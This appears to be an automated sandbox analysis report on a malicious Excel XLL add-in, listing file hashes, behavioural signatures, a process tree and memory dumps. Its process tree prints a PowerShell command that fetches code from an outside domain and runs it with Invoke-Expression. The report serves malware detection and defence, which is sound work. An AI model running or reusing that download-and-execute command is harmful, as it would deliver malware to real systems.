Analysis

  • max time kernel
    132s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/05/2024, 17:41

General

  • Target

    ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a.xll

  • Size

    12KB

  • MD5

    1c3c588b721472e4355e29d88dc46be1

  • SHA1

    0b4fe2dafcc709ba8aea6f3bef4c1d8f734655a6

  • SHA256

    ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a

  • SHA512

    df5694bf51c1619f88b36adb39230ad88922bd364aee63af6d089147ce8d700a8cc6b91f7d22289c78ab38c9ae713c423f9eb5dd45d0cff26d855b7b41b5ac63

  • SSDEEP

    192:ZL29RBzDzeobchBj8JON4ONYHZOru1rEPEjr7AhL:529jnbcvYJOJQKu1vr7CL

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3188
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:844
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3056

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GOWSKSPC\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tixdltaq.ce2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a.xll

    Filesize

    12KB

    MD5

    1c3c588b721472e4355e29d88dc46be1

    SHA1

    0b4fe2dafcc709ba8aea6f3bef4c1d8f734655a6

    SHA256

    ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a

    SHA512

    df5694bf51c1619f88b36adb39230ad88922bd364aee63af6d089147ce8d700a8cc6b91f7d22289c78ab38c9ae713c423f9eb5dd45d0cff26d855b7b41b5ac63

  • memory/3056-45-0x0000000007A50000-0x00000000080CA000-memory.dmp

    Filesize

    6.5MB

  • memory/3056-46-0x0000000006930000-0x000000000694A000-memory.dmp

    Filesize

    104KB

  • memory/3056-30-0x00000000053F0000-0x0000000005412000-memory.dmp

    Filesize

    136KB

  • memory/3056-44-0x0000000006440000-0x000000000648C000-memory.dmp

    Filesize

    304KB

  • memory/3056-43-0x0000000006420000-0x000000000643E000-memory.dmp

    Filesize

    120KB

  • memory/3056-31-0x0000000005CF0000-0x0000000005D56000-memory.dmp

    Filesize

    408KB

  • memory/3056-42-0x0000000005DD0000-0x0000000006124000-memory.dmp

    Filesize

    3.3MB

  • memory/3056-32-0x0000000005D60000-0x0000000005DC6000-memory.dmp

    Filesize

    408KB

  • memory/3056-29-0x00000000054D0000-0x0000000005AF8000-memory.dmp

    Filesize

    6.2MB

  • memory/3056-28-0x0000000002DB0000-0x0000000002DE6000-memory.dmp

    Filesize

    216KB

  • memory/3188-3-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-7-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3188-12-0x00007FFF74710000-0x00007FFF74720000-memory.dmp

    Filesize

    64KB

  • memory/3188-11-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3188-5-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-10-0x00007FFF74710000-0x00007FFF74720000-memory.dmp

    Filesize

    64KB

  • memory/3188-9-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3188-1-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-2-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3188-6-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-0-0x00007FFFB688D000-0x00007FFFB688E000-memory.dmp

    Filesize

    4KB

  • memory/3188-4-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-8-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3188-61-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3188-62-0x00007FFFB688D000-0x00007FFFB688E000-memory.dmp

    Filesize

    4KB

  • memory/3188-63-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3188-79-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-80-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-82-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-81-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3188-83-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB